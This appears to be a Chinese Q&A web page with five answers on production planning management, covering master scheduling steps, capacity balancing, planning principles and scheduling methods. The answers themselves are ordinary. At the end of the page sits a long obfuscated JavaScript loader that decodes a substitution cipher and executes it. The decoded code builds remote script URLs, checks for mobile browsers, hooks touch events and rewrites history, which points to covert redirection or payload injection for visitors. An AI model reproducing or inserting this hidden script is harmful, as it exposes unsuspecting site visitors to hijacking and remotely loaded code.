怎样做好生产计划管理?

2025-02-22 03:56:32
推荐回答(5个)
回答1:

  1、根据生产规划和计划清单确定对每个最终项目的生产预测。它反映某产品类的生产规划总生产量中预期分配到该产品的部份,可用于指导生产计划的编制,使得生产计划员在编制生产计划时能遵循生产规划的目标。
  2、根据生产预测、已收到的客户订单、配件预测以及该最终项目的需求数量,计算毛需求量。需求的信息来源主要为:当前库存、期望的安全库存、已存在的客户订单、其他实际需求、预测其他各项综合需求等。某个时段的毛需求量即为本时段的客户订单合同以及预测之关系和。"关系和"指的是如何把预测值和实际订单值组合取舍得出的需求。这时,生产计划的毛需求量已不再是预测信息,而是具有指导意义的生产信息了。
  3、根据毛需求量和事先确定好的批量规则,以及安全库存量和期初预计可用库存量,自动计算各时段的计划产出量和预计可用库存量。
  4、自动计算可供销售量供销售部门机动销售选用。
  5、自动计算粗能力,用粗能力计划评价主生产计划方案的可行性。粗能力计划是对生产中所需的关键资源进行计算和分析。关键资源通常指瓶颈工作中心。粗能力计划用于核定主要生产资源的情况,即关键工作中心能否中满足MPS的需要,以使得生产计划在需求与能力取得平衡。
  6、评估生产计划。一旦初步的生产计划测算了生产量,测试了关键工作中心的生产能力并对生产计划与能力进行平衡之后,初步的生产计划就确定了。下面的工作是对生产评估,对存在的问题提出建议,同意生产计划或者否定生产计划。
  如果需求和能力基本平衡,则同意主生产计划;如果需求和能力偏差较大,则否定主生产计划,并提出修正方案,力求达到平衡。调整的方法是:
  改变预计负荷,可以采取的措施主要有,重新安排毛需求量,并通知销售部门拖延订单,终止订单等。
  改变生产能力,可以采取的措施主要有,申请加班、改变生产工艺提高生产率等。
  7、在生产计划运算以及细能力平衡评估通过后,批准和下达主生产计划

  扩展阅读:
  最少项目原则:用最少的项目数进行生产计划的安排。如果生产计划中的项目数过多,就会使预测和管理都变得困难。因此,要根据不同的制造环境,选取产品结构不同的级,进行生产计划的编制。使得在产品结构这一级的制造和装配过程中,产品(或)部件选型的数目最少,以改进管理评审与控制。
  独立具体原则:要列出实际的、具体的可构造项目,而不是一些项目组或计划清单项目。这些产品可分解成可识别的零件或组件。生产计划应该列出实际的要采购或制造的项目,而不是计划清单项目。
  关键项目原则:列出对生产能力、财务指标或关键材料有重大影响的项目。对生产能力有重大影响的项目,是指那些对生产和装配过程起重大影响的项目。如一些大批量项目,造成生产能力的瓶颈环节的项目或通过关键工作中心的项目。对财务指标而言,指的是与公司的利润效益最为关键的项目。如制造费用高,含有贵重部件,昂贵原材料,高费用的生产工艺或有特殊要求的部件项目。也包括那些作为公司主要利润来源的,相对不贵的项目。而对于关键材料而言,是指那些提前期很长或供应厂商有限的项目。
  全面代表原则:计划的项目应尽可能全面代表企业的生产产品。反映关于制造设施,特别是瓶颈资源或关键工作中心尽可能多的信息。
  适当裕量原则:留有适当余地,并考虑预防性维修设备的时间。可把预防性维修作为一个项目安排在生产计划中,也可以按预防性维修的时间,减少工作中心的能力。
  适当稳定原则:在有效的期限内应保持适当稳定。生产计划制订后在有效的期限内应保持适当稳定,那种只按照主观愿望随意改动的做法,将会引起系统原有合理的正常的优先级计划的破坏,削弱系统的计划能力。

回答2:

狭义的生产计划管理是指以产品的基本生产过程为对象所进行的管理,包括生产过程组织、生产能力核定、生产计划与生产作业计划的制定执行以及生产调度工作。

回答3:

做生产计划就要从订单开始,考虑生产能力(特别是瓶颈工序),材料状况进行安排。
所以要对做好生产计划安排,就要对生产线的人力配置,设备、材料状况了如指掌。

回答4:

很多的,建议进入百度文库收索选择即可。顺利!

回答5:

  转载以下资料供参考

  生产计划是关于企业生产运作系统总体方面的计划,是企业在计划期应达到的产品品种、质量、产量和产值等生产任务的计划和对产品生产进度的安排。

  生产计划的内容
  1、生产什么东西—产品名称、零件名称;   例:生产汽配行业的一种凸轮,名称代号:kj908   2、生产多少—数量或重量;   因客人订单需要10000只,那实际生产应考虑到报废的产生,我们需要投产10500只,方能保证10000只的交货量。   3、在哪里生产—部门、单位;   因生产制造行业的特性,显然我们主要是在生产部门完成指标,细化是在生产的各个工序班组间加工,包括:铸造、锻压、车床、铣床、高频淬火、磨床、清洗等。   4、要求什么时候完成—期间、交期。   假如客人订单的交期要求在本月的20号,那么公司生产到完工应在20号之前完成,以确保客人能在时限内收货。

  生产计划标准及层次
  1.作业计划的标准   作业及加工的场所;   -------某某计划标准按照gb****** (当中的gb是指在中国境内生产的企业,*****是指行业名称);加工厂所可以是外协或本公司内生产,具体生产单位则是生产部。   作业及加工的种类、顺序;   例;种类是指某种产品需要涉及到加工而产生的多少道工序,比喻上述所说凸轮加工,顺序则是指按完成凸轮制造而先做什么,后做什么,意思是将所有生产凸轮的工序进行排列。   标准工时等。   2.制程计划、余力计划的标准   作业及加工制程别的负荷基准。   作业及加工制程别的能力基准;   -----制程计划是指制作与生产的工作程序,余力计划是指企业自身的生产能力与现有的生产能力差,比喻:本身企业每天生产1000只,那么现在我在生产800只,那么说明企业所提供的资源最大可以再生产200只,当超过总产量1000只,说明企业的生产能力饱和,这时如在增加生产那么我们必须相应增加设备与人力及各方面资源了。   3.材料、零件计划的标准   零件构成表及零件表;   安排分区、供给分区;   批量大小、产出率。   4.日程计划的标准   加工及装配基准日程表;   批量。   5.拟定库存计划的标准   库存管理分区;   订购周期;   订购点、订购量;   安全库存、最高库存、最低库存。   上述计划标准,每逢变化时,应及时修正并予维持!   一、无限能力计划。    无限能力计划,指的就是在考虑出产计划、采购计划的时候,不考虑企业实际的出产能力,只管物料需求。这是大部门企业现在所采用的计划方法。这个方法的长处,就是操纵简便、轻易上手。但是,缺点也是很显著的。   1、会增加企业的存货本钱。由于没有考虑到企业的实际出产能力,所以采购进来的良多材料,可能需要在企业中存一段时间才能用得着。要知道,这存放在企业里都是钱。放在企业中不仅会据有企业的资金,而且,对于企业的库存压力也不小,企业还要承担风险。如销售订单或者出产计划变更导致材料变为凝滞料的风险。   2、无法确定产品能否如期交货。由于没有考虑到企业的实际出产能力,所以,这个所谓的出产计划就会不断的进行变更。当一张出产订单由于产能的限制无法按时完成时,那其它的出产订单也不得不往后挪。所以,从无限能力计划上看不生产品能否及时交货。由于因为订单延期的不确定性,所以,最后,出产部分不得不像消防员一样,到处的去救火。   3、无限能力计划,不但会增加企业的存货本钱,而且会增加由于出产计划变更而造成的意外损失。企业若调整出产计划,则意味着还要调整职员铺排,有时候,可能因为产品的特殊性,还要调整出产线,那对企业的损失就大。   二、顺推法。    顺推法指的是出产计划按照出产订单的前后逐一进行排。顺推法它考虑了企业的实际产能,所以,可以非常有效的解决由于无穷产能造成的题目。如企业可以根据出产计划来铺排采购计划及到料计划,从而减少企业库存的压力;由于考虑了实际产能,所以,基本上不会由于产能的题目而调整出产计划;同时,产品的交货期也有了一定的保障。但是,这个计划仍旧不是完美的,出缺陷。   1、若碰到紧急插单,就会无所适从。在企业中,根据客户重要性不同、产品的利润不同或者交货期的不同,紧急插单是常有的事情,特别是接单出产为主的企业。而顺推法的话,对于插单的敏感度不高。也就是说,利用顺推法把出产计划排好后,若碰到紧急订单的话,再重新排出产计划,那工作量会很大。一般企业的做法是,可能进行突击加班等手段,来解决这紧急订单的题目。   2、顺推法的工作量比较大。由于顺推法测算出产计划时,往往不能一次成功。有时候要在不同客户之间进行均衡、要最大程度的知足客户的交货需求,就需要不停的调整。而每调整一次出产计划,工作量都长短常大的。所以,利用顺推法进行出产计划排产的话,则灵活性会差良多。   三、计划模拟。    第二种方法固然比第一种方法提高前辈,考虑了企业的产能。以上这两种排产的方法,使企业现在用的最多的。但是,由于其存在比较多的缺陷,所以,企业用起来,总觉得顾头顾不了脚,用其来不称心。就拿插单题目来说,就够他们头疼了。   我现在在实施项目的时候,一般建议用户用计划模拟的方法,来排产。由于前面两种方法太简朴,无法知足企业需求;而若用第四种方法,排程模块进行排程的话,对于企业的治理要求太高,企业可能无法合用。而用计划模拟的方法,可能更加适合企业。   计划模拟简朴的来说,就是企业尺度产能与实际产能负荷进行对比,若实际产能负荷超过尺度产能的话,那就调整出产计划或者铺排职员加班增加企业尺度产能又或者委外加工出产。当然这个对比,若用手工来做的话,那工作量就长短常大的了。所以,要依赖ERP系统的匡助,来实现这个需求。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();